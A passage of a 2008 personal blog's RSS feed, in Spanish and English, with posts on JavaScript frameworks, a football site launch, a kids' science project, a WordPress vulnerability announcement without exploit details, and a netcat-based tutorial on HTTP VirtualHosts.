<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
  <channel>
    <title>j. carlos nieto's blog</title>
    <link>http://xiam.menteslibres.org/</link>
    <description>blog de xiam</description>
    <copyright>(c) 2008 J. Carlos Nieto</copyright>
        <pubDate>Wed, 09 Jul 2008 22:53:00 -0700</pubDate>
        <generator>http://www.textmotion.org</generator>
                <item>
        <title>Elegant Javascript with MooTools</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/33/elegant-javascript-with-mootools</guid>
        <link>http://xiam.menteslibres.org/blog/view/33/elegant-javascript-with-mootools</link>
        <description>&#x3C;p&#x3E;&#x3C;a  href=&#x22;http://www.mootools.net&#x22;&#x3E;MooTools&#x3C;/a&#x3E; is a very good JavaScript framework, it is also the one we use for &#x3C;a  href=&#x22;http://meteora.astrata.com.mx&#x22;&#x3E;Meteora&#x3C;/a&#x3E;.&#x3C;/p&#x3E;
&#x3C;p&#x3E;My friend &#x3C;a  href=&#x22;http://marioly.hackerss.com&#x22;&#x3E;Marioly&#x3C;/a&#x3E; posted an article on &#x3C;a  href=&#x22;http://foros.hackerss.com/index.php?showtopic=7929&#x26;amp;st=0&#x26;amp;p=59092&#x22;&#x3E;how to use MooTools the elegant way&#x3C;/a&#x3E;, if you're interested on writing Javascript apps using a framework it's worth reading.&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Wed, 09 Jul 2008 22:53:00 -0700</pubDate>
      </item>
            <item>
        <title>¡Y arranca golst.com!</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/32/iy-arranca-golst-com</guid>
        <link>http://xiam.menteslibres.org/blog/view/32/iy-arranca-golst-com</link>
        <description>&#x3C;p&#x3E;&#x3C;!--begin photo--&#x3E;&#x3C;div class=&#x22;photo block-center&#x22;&#x3E;
&#x3C;a  href=&#x22;http://golst.com&#x22;&#x3E;&#x3C;img alt=&#x22;400_edfbf310649967bd711b0d2ac8b405f3_golst.jpg&#x22;  src=&#x22;http://xiam.menteslibres.org/data/thumbs/400_edfbf310649967bd711b0d2ac8b405f3_golst.jpg&#x22; height=&#x22;169&#x22; width=&#x22;400&#x22; /&#x3E;&#x3C;/a&#x3E;
&#x3C;/div&#x3E;&#x3C;!--end photo--&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;Hace sólo unos minutos &#x3C;a  href=&#x22;http://www.astrata.com.mx&#x22;&#x3E;Astrata&#x3C;/a&#x3E; liberó pa' todos ustedes ¡&#x3C;a  href=&#x22;http://lawaloca.com/node/17730&#x22;&#x3E;golST.com&#x3C;/a&#x3E;!, después de varios meses de trabajo (en donde también pude tener una pequeña participación) lo podemos compartir, la primicia por supuesto que &#x3C;a  href=&#x22;http://lawaloca.com/node/17730&#x22;&#x3E;fue cedida&#x3C;/a&#x3E; ¿cómo no? a &#x3C;a  href=&#x22;http://lawaloca.com/node/17730&#x22;&#x3E;lawaloca&#x3C;/a&#x3E;.&#x3C;/p&#x3E;
&#x3C;p&#x3E;
¡Felicidades a todo el equipo! en especial a &#x3C;a  href=&#x22;http://www.blacknash.com.mx&#x22;&#x3E;Josué&#x3C;/a&#x3E;, &#x3C;a  href=&#x22;http://jordi.net&#x22;&#x3E;Jordi&#x3C;/a&#x3E; y a Gerardo que fueron los que más sudor, noches sin dormir y días sin XBOX se llevaron.&#x3C;/p&#x3E;
&#x3C;p&#x3E;La nota en lawaloca es NSFW, aquí la transcribo:

&#x3C;blockquote&#x3E;
En &#x3C;a  href=&#x22;http://www.astrata.com.mx&#x22;&#x3E;Astrata&#x3C;/a&#x3E; anunciamos con mucho gusto (como exclusiva para lawaloca) el lanzamiento de &#x3C;a  href=&#x22;http://golst.com&#x22;&#x3E;GolST&#x3C;/a&#x3E;.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;a  href=&#x22;http://golst.com&#x22;&#x3E;GolST&#x3C;/a&#x3E; es un sitio donde te muestra sólamente lo que a ti te interesa del mundo del futbol. Si a ti no te gusta la Bundesliga, no tienes porque verla, si a ti sólo te interesa el América y piensas que los demás equipos del mundo no existen pues no tienes porque verlos.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
En &#x3C;a  href=&#x22;http://golst.com&#x22;&#x3E;GolST&#x3C;/a&#x3E; tu decides que es lo que quieres ver cada vez que entres, no más no menos. Puedes escoger entre las mejores ligas del mundo, La euro 2008, Uefa, Champions, Libertadores, Premier, FMF, etc. &#x3C;a  href=&#x22;http://golst.com&#x22;&#x3E;GolST&#x3C;/a&#x3E; tiene todas las estadísticas que necesitas, mejores goleadores, tablas de posiciones, mejores defensas, mejores porteros, rachas, históricos, etc.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Fotos? Partidos en vivo? En &#x3C;a  href=&#x22;http://golst.com&#x22;&#x3E;GolST&#x3C;/a&#x3E; también tendrás partidos en vivo y fotos en vivo de los mejores torneos del mundo.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Por fin, ya no hay que navegar en 100 sitios de fútbol en distintos idiomas para estar enterado de lo que pasa en las mejores ligas del mundo, todo en un solo lugar: &#x3C;a  href=&#x22;http://golst.com&#x22;&#x3E;GolST&#x3C;/a&#x3E;.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Si tienen dudas del funcionamiento del sitio no olviden darse una vuelta por &#x3C;a  href=&#x22;http://golst.com/help&#x22;&#x3E;golst.com/help&#x3C;/a&#x3E; para que vean unos videos de demostración.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Pues banda, espero que les guste el sitio tanto como a nosotros!! chido wan!
&#x3C;/blockquote&#x3E;&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Mon, 02 Jun 2008 16:42:00 -0700</pubDate>
      </item>
            <item>
        <title>Safari Espacial ya tiene fecha, 20 de junio</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/31/safari-espacial-ya-tiene-fecha-20-de-junio</guid>
        <link>http://xiam.menteslibres.org/blog/view/31/safari-espacial-ya-tiene-fecha-20-de-junio</link>
        <description>&#x3C;p&#x3E;Hace ya casi un año decidí que quería hacer algo que hiciera alguna diferencia, aunque pequeña, estaría haciendo algo que funcione al menos para una persona y eso sería un buen comienzo.&#x3C;/p&#x3E;
&#x3C;p&#x3E;El proyecto se iba a llamar &#x3C;b&#x3E;Mentes Libres&#x3C;/b&#x3E;, hace poco decidí que el nombre era demasiado formal para el público al que quería dirigirlo (niños) y pensé en cambiarlo a Safari Espacial, ese me late más pensando como niño :).&#x3C;/p&#x3E;
&#x3C;p&#x3E;Fue un proyecto a muy largo plazo, estuve escribiendo pequeños artículos cuando tenía tiempo, comprando algunos libros que me sirvieran, acordándome de las cosas que me gustaba hacer de niño y al final estoy terminando, estoy casi totalmente satisfecho con todo eso :).&#x3C;/p&#x3E;
&#x3C;p&#x3E;Hubo muchas personas interesadas, pero debido a que tengo ciertas ocupaciones en el día, incluyendo trabajo y escuela, no podía coordinarme para hablar bien con ellos sobre lo que quería hacer, muchos se enfadaron y fueron perdiendo interés, otros siguen en &#x3C;i&#x3E;stand by&#x3C;/i&#x3E; con la voluntad de ayudar y les agradezco que aún sigan interesados, espero que los que se fueron puedan regresar, sé que fue mi culpa mantener las cosas en silencio, pero no tuve otra opción, no ibamos a tener cambios ni avances rápidos y es muy difícil querer convencer de no esperarlos.&#x3C;/p&#x3E;
&#x3C;p&#x3E;La idea que quería realizar era un sitio enfocado a los niños de mi país con experimentos sobre ciencias naturales y notas interesantes para ellos, con la finalidad de hacer que se interesaran en el desarrollo de la ciencia y que hicieran posible que México desarrolle más tecnología en vez de importarla. A mi parecer, la ciencia es la única forma posible de avance real (en realidad todo forma parte de un maléfico plan para atacar al consumismo, a los iPhones y a las estrellas extranjeras de pop que vienen a vender basura a México), y la mejor manera de terminar con la dependencia intelectual del extranjero.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Como se dan cuenta es algo diseñado a muy largo plazo, pero creo que ahora es el mejor momento para comenzar a experimentar y aprender por que estoy decidido a que ésto no lo voy a dejar aquí y que habrá muchísimas personas que tienen las mismas ganas y la misma idea sobre la importancia de la ciencia.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Ya estoy ajustando varios detalles y completando más textos, pero el proyecto está practicamente terminado, y hoy estoy contento, muy contento de que al final voy a poder terminar ésto y comenzar la segunda etapa.&#x3C;/p&#x3E;
&#x3C;p&#x3E;La fecha de inicio del sitio es 20 de junio, espero no haya confusiones, la versión actual de &#x3C;a  href=&#x22;http://www.safariespacial.com/&#x22;&#x3E;SafariEspacial&#x3C;/a&#x3E; está desactualizada y va a durar muy poco en línea, es muy probable que todo cambie, a mí me gustaría mantener la sorpresa de como va a quedar el sitio al final ;-).&#x3C;/p&#x3E;
&#x3C;p&#x3E;Haré lo que sea necesario con el proyecto, con los medios y con mi mismo para poder hacer algo bueno y que realmente sirva de todo ésto.&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Fri, 30 May 2008 21:38:00 -0700</pubDate>
      </item>
            <item>
        <title>onload event for iframes on old Opera installations</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/30/onload-event-for-iframes-on-old-opera-installations</guid>
        <link>http://xiam.menteslibres.org/blog/view/30/onload-event-for-iframes-on-old-opera-installations</link>
        <description>&#x3C;p&#x3E;Today I ran into a huge problem that I solved just with a line of code, yeah, that sounds easy, but actually the hard part was to found where the error was.&#x3C;/p&#x3E;
&#x3C;p&#x3E;I found it, after inspecting the code very closely, everything seemed right but Opera 2.10 was still failing to proccess the body of an iframe when an onload event was attached to it. Recent versions of Opera were working normally.&#x3C;/p&#x3E;
&#x3C;p&#x3E;The problem was that I defined &#x3C;tt&#x3E;iframe.src = 'about:blank&#x3C;/tt&#x3E;', but for some reason Opera prefers 'opera:blank', otherwise it will trigger the onload event right after setting the iframe's src, even if the value is 'about:blank'. &#x3C;/p&#x3E;
&#x3C;p&#x3E;BTW, I found the solution by accident, I read 'opera:blank' in an old Opera's exploit and decided to do a test.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Strange are the ways of God… and Opera developers.&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Tue, 27 May 2008 19:14:00 -0700</pubDate>
      </item>
            <item>
        <title>Betatesting para TextMotion 1.3</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/27/betatesting-para-textmotion-1-3</guid>
        <link>http://xiam.menteslibres.org/blog/view/27/betatesting-para-textmotion-1-3</link>
        <description>&#x3C;p&#x3E;Si te interesa ayudarnos a probar el beta de &#x3C;a  href=&#x22;http://textmotion.org&#x22;&#x3E;TextMotion&#x3C;/a&#x3E; 1.3 y estás dispuesto a aprender (o practicar) algunas cosas nuevas &#x3C;a href=&#x22;/contact&#x22;&#x3E;contáctame&#x3C;/a&#x3E;, si tienes dudas sobre el manejo de herramientas como svn te ayudamos.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Si tienes algún otro CMS y quieres apoyarnos para que podamos crear una herramienta para importar desde ese CMS sería interesante poder trabajar juntos &#x3C;img  src=&#x22;http://xiam.menteslibres.org/media/emoticons/default/smile.png&#x22; width=&#x22;16&#x22; height=&#x22;16&#x22; /&#x3E; &#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Sun, 25 May 2008 17:19:27 -0700</pubDate>
      </item>
            <item>
        <title>How to build a Javascript calculator using Meteora</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/25/how-to-build-a-javascript-calculator-using-meteora</guid>
        <link>http://xiam.menteslibres.org/blog/view/25/how-to-build-a-javascript-calculator-using-meteora</link>
        <description>&#x3C;p&#x3E;&#x3C;!--begin photo--&#x3E;&#x3C;div class=&#x22;photo block-center&#x22;&#x3E;
&#x3C;a href=&#x22;/data/uploads/300_calculator_design.jpg&#x22;&#x3E;&#x3C;img alt=&#x22;300_44a4b0e0568bf96091236c75adac94ea_alculator_design.jpg&#x22;  src=&#x22;http://xiam.menteslibres.org/data/thumbs/300_44a4b0e0568bf96091236c75adac94ea_alculator_design.jpg&#x22; height=&#x22;253&#x22; width=&#x22;300&#x22; /&#x3E;&#x3C;/a&#x3E;
&#x3C;/div&#x3E;&#x3C;!--end photo--&#x3E;My friend &#x3C;a  href=&#x22;http://blacknash.com.mx&#x22;&#x3E;&#x3C;span&#x3E;Josué Gutiérrez&#x3C;/span&#x3E;&#x3C;/a&#x3E; posted a nice tutorial on &#x3C;a  href=&#x22;http://blacknash.com.mx/blog/view/13/cooking-a-meteora-s-calculator&#x22;&#x3E;&#x3C;span&#x3E;how to build a javascript calculator&#x3C;/span&#x3E;&#x3C;/a&#x3E; using &#x3C;a  href=&#x22;http://meteora.astrata.com.mx&#x22;&#x3E;&#x3C;span&#x3E;Meteora&#x3C;/span&#x3E;&#x3C;/a&#x3E;.&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Mon, 19 May 2008 14:26:00 -0700</pubDate>
      </item>
            <item>
        <title>WordPress 2.5 salt cracking vulnerability</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/21/wordpress-2-5-salt-cracking-vulnerability</guid>
        <link>http://xiam.menteslibres.org/blog/view/21/wordpress-2-5-salt-cracking-vulnerability</link>
        <description>&#x3C;p&#x3E;&#x3C;!--begin photo--&#x3E;&#x3C;div class=&#x22;photo block-center&#x22;&#x3E;
&#x3C;a href=&#x22;/data/uploads/wp-logo-badass.jpg&#x22;&#x3E;&#x3C;img alt=&#x22;300_7a389cb99327ccf5bc8249196c77360c_wp-logo-badass.jpg&#x22;  src=&#x22;http://xiam.menteslibres.org/data/thumbs/300_7a389cb99327ccf5bc8249196c77360c_wp-logo-badass.jpg&#x22; height=&#x22;300&#x22; width=&#x22;300&#x22; /&#x3E;&#x3C;/a&#x3E;
&#x3C;/div&#x3E;&#x3C;!--end photo--&#x3E; I discovered a medium severity vulnerability in the way &#x3C;a  href=&#x22;http://wordpress.org&#x22;&#x3E;&#x3C;span&#x3E;WordPress&#x3C;/span&#x3E;&#x3C;/a&#x3E; 2.5 handles user authentications, this is not a universally exploitable bug, so I think it would be no problem to apply &#x3C;a  href=&#x22;http://en.wikipedia.org/wiki/Full_disclosure&#x22;&#x3E;&#x3C;span&#x3E;full-disclosure&#x3C;/span&#x3E;&#x3C;/a&#x3E; this time. An &#x3C;a  href=&#x22;http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability&#x22;&#x3E;&#x3C;span&#x3E;advisory&#x3C;/span&#x3E;&#x3C;/a&#x3E; is available and &#x3C;a  href=&#x22;http://www.securityfocus.com/archive/1/490887/30/0/threaded&#x22;&#x3E;&#x3C;span&#x3E;a copy&#x3C;/span&#x3E;&#x3C;/a&#x3E; was sent to securityfocus' bugtraq. A temporary solution is provided within the advisory.&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Tue, 15 Apr 2008 00:52:00 -0700</pubDate>
      </item>
            <item>
        <title>¿Cómo funcionan los VirtualHost?</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/19/icomo-funcionan-los-virtualhost</guid>
        <link>http://xiam.menteslibres.org/blog/view/19/icomo-funcionan-los-virtualhost</link>
        <description>&#x3C;p&#x3E;Los servidores web actuales tienen facilidades para hospedar múltiples dominios teniendo una sóla dirección IP pública. A éstas facilidades se les llama VirtualHost. &#x3C;/p&#x3E;
&#x3C;p&#x3E;Para entender cómo funcionan los VirtualHost podemos comenzar tratando de entender el protocolo HTTP. &#x3C;/p&#x3E;
&#x3C;p&#x3E;En palabras muy coloquiales, podríamos decir que el protocolo HTTP es una serie de frases entre un servidor (la máquina en donde está el sitio), y un cliente (que puede ser el navegador).&#x3C;/p&#x3E;
&#x3C;p&#x3E;El cliente busca al servidor e inicia la conversación, le pide un objeto y le da algunos detalles del objeto. El servidor busca al objeto con los detalles que el cliente le dio, en caso de que lo encuentre, envía al objeto requerido además de información adicional, en caso contrario, el servidor explica lo que ha sucedido.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Dejándo de lado las malas analogías, comencemos a jugar con algo más interesante, utilizemos netcat para entender el funcionamento del protocolo. Netcat es un programa muy simple, como todas las herramientas UNIX, pero con el que se pueden realizar tareas bastante interesantes, netcat se dedica a manejar conexiones entre un cliente y un servidor.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Utilizemos a netcat y a google.com como ejemplo para entender el protocolo.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Nos queremos conectar a google.com por el puerto de HTTP, para saber cuál utilizar le podemos preguntar al archivo /etc/services.&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;$&#x26;nbsp;grep&#x26;nbsp;http&#x26;nbsp;/etc/services&#x3C;br /&#x3E;#&#x26;nbsp;Updated&#x26;nbsp;from&#x26;nbsp;http://www.iana.org/assignments/port-numbers&#x26;nbsp;and&#x26;nbsp;other&#x3C;br /&#x3E;#&#x26;nbsp;sources&#x26;nbsp;like&#x26;nbsp;http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services&#x26;nbsp;.&#x3C;br /&#x3E;www&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;80/tcp&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;http&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;#&#x26;nbsp;WorldWideWeb&#x26;nbsp;HTTP&#x3C;br /&#x3E;https&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;443/tcp&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;#&#x26;nbsp;http&#x26;nbsp;protocol&#x26;nbsp;over&#x26;nbsp;TLS/SSL&#x3C;br /&#x3E;https&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;443/udp&#x3C;br /&#x3E;http-alt&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;8080/tcp&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;webcache&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;#&#x26;nbsp;WWW&#x26;nbsp;caching&#x26;nbsp;service&#x3C;br /&#x3E;http-alt&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;8080/udp&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;&#x26;nbsp;#&#x26;nbsp;WWW&#x26;nbsp;caching&#x26;nbsp;servic&#x3C;/span&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;Ahora sabemos que debemos conectar al puerto 80.&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;$&#x26;nbsp;nc&#x26;nbsp;-v&#x26;nbsp;google.com&#x26;nbsp;80&#x26;nbsp;&#x3C;br /&#x3E;DNS&#x26;nbsp;fwd/rev&#x26;nbsp;mismatch:&#x26;nbsp;google.com&#x26;nbsp;!=&#x26;nbsp;eh-in-f99.google.com&#x3C;br /&#x3E;DNS&#x26;nbsp;fwd/rev&#x26;nbsp;mismatch:&#x26;nbsp;google.com&#x26;nbsp;!=&#x26;nbsp;py-in-f99.google.com&#x3C;br /&#x3E;DNS&#x26;nbsp;fwd/rev&#x26;nbsp;mismatch:&#x26;nbsp;google.com&#x26;nbsp;!=&#x26;nbsp;jc-in-f99.google.com&#x3C;br /&#x3E;google.com&#x26;nbsp;[72.14.207.99]&#x26;nbsp;80&#x26;nbsp;(www)&#x26;nbsp;open&#x3C;/span&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;Rápidamente escribimos:&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;GET&#x26;nbsp;/&#x3C;/span&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;Seguido de dos {enter} más.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Según el país de procedencia, google nos responde con un  mensaje que indica que debemos hacer la petición a otro servidor, en mi caso google.com me dice que le pregunte a www.google.com.mx.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Repetimos el paso con www.google.com.mx (o con el servidor que google.com te indique):&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;$&#x26;nbsp;nc&#x26;nbsp;-v&#x26;nbsp;www.google.com.mx&#x26;nbsp;80&#x3C;br /&#x3E;GET&#x26;nbsp;/&#x3C;/span&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;Extrañamente recibimos la misma indicación, al parecer el servidor no entendió la pregunta que el cliente le hizo. Ésto se debe a que la petición está mal formulada, en realidad la petición debe ser así:&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;GET&#x26;nbsp;/archivo/requerido.txt&#x26;nbsp;HTTP/X.Y\r\n&#x3C;br /&#x3E;Header1:&#x26;nbsp;valor\r\n&#x3C;br /&#x3E;Header2:&#x26;nbsp;valor\r\n&#x3C;br /&#x3E;\r\n&#x3C;br /&#x3E;\r\n&#x3C;/span&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;Los \r\n representan retornos de carro. Es necesario terminar la petición con dos retornos de carro vacíos, ésto le indica al servidor que hemos terminado de enviar datos y que esperamos respuesta.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Reintentemos de nuevo sabiendo más sobre peticiones:&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;$&#x26;nbsp;nc&#x26;nbsp;-v&#x26;nbsp;www.google.com.mx&#x26;nbsp;80&#x3C;br /&#x3E;GET&#x26;nbsp;/&#x26;nbsp;HTTP/1.1&#x3C;br /&#x3E;Host:&#x26;nbsp;www.google.com.mx&#x3C;/span&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;La cabecera “Host” es obligatoria para jugar con VirtualHost, es la única forma que el servidor tiene para saber qué buscar y en qué parte.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Ésta vez debemos tener una respuesta parecida a ésta:&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;$&#x26;nbsp;nc&#x26;nbsp;-v&#x26;nbsp;www.google.com.mx&#x26;nbsp;80&#x3C;br /&#x3E;GET&#x26;nbsp;/&#x26;nbsp;HTTP/1.1&#x3C;br /&#x3E;Host:&#x26;nbsp;www.google.com.mx&#x3C;br /&#x3E;&#x3C;br /&#x3E;HTTP/1.1&#x26;nbsp;200&#x26;nbsp;OK&#x3C;br /&#x3E;Cache-Control:&#x26;nbsp;private&#x3C;br /&#x3E;Content-Type:&#x26;nbsp;text/html;&#x26;nbsp;charset=ISO-8859-1&#x3C;br /&#x3E;Set-Cookie:&#x26;nbsp;PREF=ID=6e786c9ea2b43da6:TM=1205966447:LM=1207966447:S=Z3TC-WmVvTmmdhX9;&#x26;nbsp;expires=Mon,&#x26;nbsp;12-Apr-2010&#x26;nbsp;02:14:07&#x26;nbsp;GMT;&#x26;nbsp;path=/;&#x26;nbsp;domain=.google.com.mx&#x3C;br /&#x3E;Date:&#x26;nbsp;Sat,&#x26;nbsp;12&#x26;nbsp;Apr&#x26;nbsp;2008&#x26;nbsp;02:14:07&#x26;nbsp;GMT&#x3C;br /&#x3E;Server:&#x26;nbsp;gws&#x3C;br /&#x3E;Transfer-Encoding:&#x26;nbsp;chunked&#x3C;br /&#x3E;&#x3C;br /&#x3E;15b1&#x3C;br /&#x3E;...&#x3C;br /&#x3E;c7&#x3C;br /&#x3E;...&#x3C;br /&#x3E;0&#x3C;/span&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;Ésta vez le hemos dicho a google.com.mx que requerimos el virtualhost www.google.com.mx de la IP 74.14.207.104.&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;$&#x26;nbsp;host&#x26;nbsp;72.14.207.104&#x3C;br /&#x3E;104.207.14.72.in-addr.arpa&#x26;nbsp;domain&#x26;nbsp;name&#x26;nbsp;pointer&#x26;nbsp;eh-in-f104.google.com.&#x3C;/span&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;Ahora intenta hacer lo mismo, pero utilizando la IP en vez del dominio google.com.mx&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;$&#x26;nbsp;nc&#x26;nbsp;-v&#x26;nbsp;72.14.207.104&#x26;nbsp;80&#x3C;br /&#x3E;GET&#x26;nbsp;/&#x26;nbsp;HTTP/1.1&#x3C;br /&#x3E;Host:&#x26;nbsp;www.google.com.mx&#x3C;/span&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;El resultado del proceso usando la IP en vez del dominio debe ser exactamente el mismo.&#x3C;/p&#x3E;
&#x3C;p&#x3E; &#x3C;/p&#x3E;
&#x3C;p&#x3E;En realidad el proceso interno es más complicado que un típico VirtualHost, las IP asignadas a aquellos nombres de dominio son más bien variables, intenta haciendo varios pings a www.google.com.mx con un intervalo de un segundo (para el ping con Ctrl+C y comienza de nuevo), verás que las IP no son constantes para el mismo dominio y ésto no tiene relación con con el servidor web.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Ahora quisiera explicar en que consiste la respuesta del servidor y qué es ese “Content-Encoding: chunked”, así como el envío de contraseñas y demás cosas pero eso corresponde a otro tema que espero pueda tratar mañana :). &#x3C;/p&#x3E;
&#x3C;p&#x3E;Protocolos como SMTP para envío de correo y FTP para transmisión de datos son otro par de cosas bastante interesantes para jugar.&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Fri, 11 Apr 2008 19:29:00 -0700</pubDate>
      </item>
            <item>
        <title>Textmotion 1.1</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/18/textmotion-1-1</guid>
        <link>http://xiam.menteslibres.org/blog/view/18/textmotion-1-1</link>
        <description>&#x3C;p&#x3E;La segunda liberación de Textmotion está ahora disponible para descarga.&#x3C;/p&#x3E;
&#x3C;p&#x3E;Se incluyen varias mejoras, el &#x3C;a  href=&#x22;http://textmotion.org/pages/features/package-manager&#x22;&#x3E;&#x3C;span&#x3E;package manager&#x3C;/span&#x3E;&#x3C;/a&#x3E; ya está terminado y completamente funcional, con el &#x3C;a  href=&#x22;http://textmotion.org/pages/features/package-manager&#x22;&#x3E;&#x3C;span&#x3E;package manager&#x3C;/span&#x3E;&#x3C;/a&#x3E; podrás instalar nuevas características sin dejar el panel de administración, bueno, puedo decir muchas cosas de Textmotion pero creo que es mejor que pruebes nuestro &#x3C;a  href=&#x22;http://demo.textmotion.org&#x22;&#x3E;&#x3C;span&#x3E;demo&#x3C;/span&#x3E;&#x3C;/a&#x3E; directamente ;).&#x3C;/p&#x3E;
&#x3C;p&#x3E;Ésta es una captura del package manager:&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;!-- begin photo --&#x3E;
&#x3C;div class=&#x22;photo block-center&#x22;&#x3E;&#x3C;a  href=&#x22;http://xiam.menteslibres.org/data/uploads/packages-pic.png&#x22;&#x3E;&#x3C;img src=&#x22;/data/thumbs/300_packages-pic.png&#x22; alt=&#x22;300_packages-pic.png&#x22; height=&#x22;291&#x22; width=&#x22;300&#x22; /&#x3E;&#x3C;/a&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;span class=&#x22;photo-description&#x22;&#x3E;Descripción de la foto&#x3C;/span&#x3E;&#x3C;/div&#x3E;
&#x3C;!-- end photo --&#x3E; 

&#x3C;/p&#x3E;
&#x3C;p&#x3E;Espero que te guste, seguiremos con más &#x3C;img  src=&#x22;http://xiam.menteslibres.org/media/emoticons/default/smile.png&#x22; width=&#x22;16&#x22; height=&#x22;16&#x22; /&#x3E; &#x3C;/p&#x3E;
&#x3C;p&#x3E;&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Mon, 07 Apr 2008 11:56:59 -0700</pubDate>
      </item>
            <item>
        <title>Meteora 0.4</title>
